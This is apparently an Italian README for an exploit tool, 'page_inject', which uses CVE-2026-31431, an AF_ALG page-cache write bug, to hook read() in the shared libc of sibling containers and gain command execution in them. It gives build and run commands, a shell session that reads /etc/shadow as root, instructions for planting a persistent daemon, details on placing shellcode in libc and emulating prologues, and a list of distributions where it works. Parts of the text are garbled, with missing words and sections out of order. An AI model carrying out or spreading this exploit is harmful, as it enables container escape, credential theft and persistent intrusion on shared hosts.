
CVE-2026-31431-killed page-cache exploit — esecuzione di codice nei container che condividono lo stesso layer dell'immagine
Exploit cross-container della vulnerabilità aead AF_ALG -- passare da un container compromesso a ogni container fratello che condivide lo stesso layer dell'immagine libc.so.6.
Questa è una primitiva di fuga: viene eseguita
dall'interno di un container non privilegiato che l'attaccante ha già
compromesso, e usa il bug di scrittura arbitraria di 4 byte per rotazione ESN
authencesn di AF_ALG (CVE-2026-31431) per piantare un hook persistente di
read() nelle pagine della page cache di libc.so.6. Poiché Docker /
containerd appoggia i file dei layer inferiori di overlayfs su inode condivisi,
quelle pagine sono visibili a ogni container fratello istanziato dalla stessa
immagine -- l'hook scatta anche nei loro processi, e l'attaccante ottiene
l'esecuzione di comandi dentro ciascuno di essi.
victim)
su un host che esegue altri container (siblings) dalla stessa
immagine di victim.victim gira con la postura Docker/k8s predefinita: uid non privilegiato
dentro il namespace utente del container, profilo seccomp predefinito,
profilo AppArmor predefinito, nessuna capability speciale, nessun bind
mount dell'host.victim ha solo:
/usr/lib/x86_64-linux-gnu/libc.so.6
o dove la distribuzione la installa)socket(AF_ALG, ...)splice / vmsplicechmod +x (es. /tmp)algif_aead + authencesn precedente al fix di revert a monte).Questo è tutto. Nessuna CAP_* speciale, nessun accesso al
filesystem dell'host. L'attaccante inserisce un binario statico autosufficiente
dentro il container, lo esegue, e la corruzione della page cache -- e
quindi l'hook -- diventa visibile a ogni container fratello.
Identità della pagina nella page cache. Dentro un container overlayfs,
/usr/lib/.../libc.so.6 è servito dall'inode ext4 del layer inferiore
dell'immagine. Ogni container avviato dalla stessa immagine condivide
quell'inode di supporto, e la page cache del kernel è indicizzata
in base all'inode sottostante -- non dall'overlay né dal namespace.
Quindi una singola scrittura di 4 byte in una pagina della page cache
è visibile a tutti i processi dei container fratelli che hanno quella
pagina in mmap.
La vulnerabilità aead AF_ALG trasforma una tale scrittura in molte.
algif_aead concatena l'iovec RX dell'utente con i byte finali
authsize del SGL TX spliced, e la rotazione ESN di authencesn
parcheggia 4 byte del campo seq_high dell'AAD in
dst[assoclen + cryptlen] -- che è il primo byte di quella coda
esterna concatenata. La pagina spliced è una pagina della page
cache di un file su cui l'attaccante ha solo accesso in lettura,
ma il cipher vi copia comunque dei byte, senza contabilità dirty.
(Vedi crypto/algif_aead.c e crypto/authencesn.c per i
meccanismi sottostanti.)
Bootstrap di una primitiva invocabile. La prima cosa che fa
page_inject è il bootstrap della -- una
re-implementazione in assembly dello stesso giro AF_ALG
(), collocata nella cave della libc.
Questo rende la scrittura di 4 byte una regolare
dall'interno di qualsiasi futuro payload hook, senza bisogno di
setup socket a ogni chiamata.
L'iniettore viene compilato fuori dal container vittima --
tipicamente sulla macchina di sviluppo dell'attaccante -- perché la
maggior parte delle immagini container di produzione non include un
compilatore. Un ambiente di sviluppo Linux x86_64 standard con gcc
(con supporto al link -static) e nasm è sufficiente.
make # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode # also produces inspectable .bin flat binaries
make clean # removes generated files and the binary
L'output è un singolo ELF staticamente linkato (./page_inject) che
gira su qualsiasi kernel Linux x86_64 moderno.
Una volta che l'attaccante ha shell su victim, carica il binario in
una directory scrivibile (tipicamente /tmp):
# inside the compromised container, attacker session
victim$ ./page_inject
Senza argomenti, page_inject usa come predefinito
/usr/lib/x86_64-linux-gnu/libc.so.6 (la posizione post-merge di
Debian/Ubuntu). Per altre distribuzioni la libc è in un percorso
diverso; passatela esplicitamente oppure usate --root / per
scansionare la tabella di lookup integrata a partire dalla root del
container:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# Auto-detect, regardless of distro:
victim$ ./page_inject --root /
Ognuna delle due invocazioni fa la stessa cosa: parse ELF della libc
nel container, installa l'hook nella sua page cache, monitora la
tabella slot per ~30 s mentre i fratelli si registrano, ed esegue un
id one-shot contro il primo fratello che si è registrato come
controllo di sanità.
Dopo il bootstrap, si entra nella shell di comando per pilotare qualsiasi fratello registrato:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
unhook rimuove l'hook da ogni container fratello in un colpo solo
e lascia che i figli hook si auto-terminino.
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> Auto-resolve libc.so.6 under <prefix> using the
built-in fixed-path lookup table. Inside the
victim container that's normally --root / .
--shell [0xKEY] Drop into interactive command shell after
injection. Optional KEY pre-selects the target.
--no-bootstrap Skip injection (shell-only; hook must already
be live in the page cache).
--timeout SEC Slot monitoring timeout in --shell mode
(default 30 s).
--help, -h Show help.
Default libc (when no --root and no LIBC_PATH given):
/usr/lib/x86_64-linux-gnu/libc.so.6
Build glibc diverse lasciano quantità diverse di spazio cave .text
tra il segmento LOAD eseguibile e il successivo LOAD di sola lettura.
page_inject seleziona tra due layout al momento dell'iniezione:
Percorso A -- solo libc (predefinito). Sia la Zona C che la
Zona A stanno nella cave .text della libc. Le aree tabella slot +
CMD + OUTPUT stanno nella sezione .hash della libc -- dati hash
SysV legacy che ld.so non legge a runtime perché usa .gnu.hash
al loro posto. Quando .hash è assente (toolchain moderna di
Arch), page_inject ricava la regione slot dalla coda di
.eh_frame_hdr, dopo aver prima ridotto il campo fde_count così
che l'unwinder non consideri più i byte liberati parte dell'indice
di ricerca binaria FDE (l'unwinder ripiega in modo trasparente su
una scansione lineare di .eh_frame per qualsiasi IP la cui FDE
si trovava nella gamma troncata -- comportamento imposto da LSB).
Percorso B -- trampolino libc + payload ld.so. Alcune build
glibc riducono la cave della libc al di sotto della dimensione
necessaria per il payload completo Zona C + Zona A (Ubuntu 24.04 /
glibc 2.39 include una cave da 711 B). In quel caso page_inject
scrive un trampolino da 36 B nella cave della libc -- esegue il
gate della chiave .bss del fast-path intra-libc -- e nel percorso
lento calcola la base runtime di ld.so dallo slot GOT della libc
per (un simbolo lato ld.so che ogni glibc importa
privatamente) e salta in una variante con registro base della
Zona C nella cave di . La tabella slot + CMD +
OUTPUT + chiave restano tutte nella libc; la Zona C lato
ld.so le raggiunge tramite dopo che il trampolino
imposta .
Se nessuno dei due layout entra, page_inject rifiuta in modo pulito
senza scrivere nulla su libc o ld.so né su disco né nella page cache.
read()Versioni glibc diverse emettono sequenze iniziali diverse in
read(). L'iniettore riconosce ciascuna, rilegge i byte che l'hook
sposta e li emula nel fast-path della Zona C, così che una read()
single-threaded riprenda correttamente da read+N:
Lo spazio di emulazione del fast-path nella Zona C è dimensionato per
il prologo conosciuto più lungo (8 byte) più il jmp rel32 a 5 byte;
i prologhi più corti riempiono il byte finale dello spazio con un NOP
di riempimento, così che la lunghezza totale dello spazio sia costante.
page_inject/
page_inject.c Main injector: ELF parsing, vuln primitive,
dual-path layout selection, inject + unhook.
zone_c.asm Path-A hook dispatcher shellcode.
zone_c_ld.asm Path-B hook dispatcher (rbp-base variant).
trampoline.asm Path-B 36-byte libc-side stub.
write_cache.asm Zone A (vuln write primitive shellcode).
gen_arrays.sh Assemble .asm -> asm_bytecode.c.
asm_bytecode.c [generated] shellcode byte arrays.
Makefile Build system.
L'exploit è stato verificato end-to-end sulle seguenti distribuzioni
container. Per ogni voce, page_inject è stato iniettato dall'interno
di un container e il suo hook è scattato in un container fratello
avviato dalla stessa immagine; i comandi sono stati eseguiti
correttamente tramite il canale della page cache; e unhook ha
ripristinato in modo pulito lo stato delle pagine della libc.
page_inject è staticamente linkato di proposito, così che il
processo dell'attaccante stesso non sia influenzato dall'hook che
installa.page_inject riconosce una libc "già hookata" (E9 + nop al prologo
di read()) e rifiuta di re-iniettare. Se vi trovate in un ambiente
di test e la vostra page cache è bloccata in quello stato, fermate
tutti i container che usano l'immagine e fate drop_caches per
resettare.write_cache.asm.textcallInstallazione dell'hook. L'iniettore poi scrive la Zona C
(zone_c.asm) nella cave .text della libc e applica una patch
ai primi 7-12 byte di read() con un salto E9 disp32 verso di
essa. I byte spostati del prologo vengono emulati fedelmente nel
fast-path della Zona C (vengono riconosciuti tre diversi prologhi
glibc -- vedi "Gestione del prologo" sotto). L'hook ora è attivo
nella page cache della libc.
Propagazione dell'hook. Ogni container fratello esegue processi
che chiamano read() di continuo (demoni di log, healthcheck, cat /etc/hostname, qualsiasi cosa). Alla prima chiamata del genere
dentro un container fratello, il prologo dirottato salta nella
Zona C, che:
stat("/") dell'inode root del container (un ID stabile
per namespace), usandolo come chiave di slot del container,fork() di un longevo
figlio a ciclo di comando che interroga l'area CMD alla ricerca
di ordini,read()+N così il chiamante non sospetta nulla.
Il processo originale del fratello continua a girare. Da questo
momento l'attaccante ha un demone dentro quel container.Canale di comando. L'attaccante usa lo stesso binario
page_inject in modalità --shell per scrivere comandi nell'area
CMD della regione slot. Il figlio hook di ogni container fratello
registrato interroga, fa fork di /bin/sh -c <cmd>, cattura
stdout/stderr nell'area OUTPUT, segnala il completamento e torna
a interrogare. La shell mostra l'output. Poiché ogni scrittura
CMD/OUTPUT passa anche attraverso la primitiva della vulnerabilità,
non serve alcun privilegio speciale.
Rimozione dell'hook. Quando ha finito, unhook ripristina i
byte originali del prologo di read() e azzera la tabella slot;
i figli hook vedono uno slot vuoto alla loro iterazione successiva
e si auto-terminano. Le modifiche alla page cache in sé sono pulite
(il kernel non ha mai marcato dirty le pagine modificate), quindi
una volta fermati tutti i container che hanno libc in mmap, un
drop_caches ripristina completamente la cache -- non rimane
alcun artefatto su disco.
_rtld_global.text.bssrbp + offsetrbp = libc_base| Intervallo glibc | Prologo (dopo l'eventuale endbr64) | Note |
|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 byte; la cmpb emulata imposta ZF per l'jne .Lthreaded originale. |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 byte; emulata byte per byte. |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 byte; emulata byte per byte (il [disp32] con prefisso FS è assoluto, non RIP-relativo, quindi la copia byte per byte è fedele). |
| Immagine | glibc | Percorso di iniezione | Prologo di read() | Regione slot |
|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash (lato libc, indirizzata via rbp da ld.so) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr (coda troncata) |